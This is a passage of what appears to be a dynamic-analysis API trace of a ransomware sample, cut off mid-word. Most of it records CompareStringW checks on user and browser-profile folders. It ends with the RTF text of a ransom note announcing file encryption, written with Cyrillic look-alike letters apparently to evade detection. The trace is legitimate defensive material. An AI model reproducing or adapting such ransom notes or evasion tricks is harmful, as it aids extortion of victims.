10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 2 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 2 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 3 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 2 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0033.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount2=66) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount2=66) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount2=66) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount2=66) returned 3 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount2=66) returned 3 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount1=66, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", cchCount1=66, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 1 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 3 [0033.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 2 [0033.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 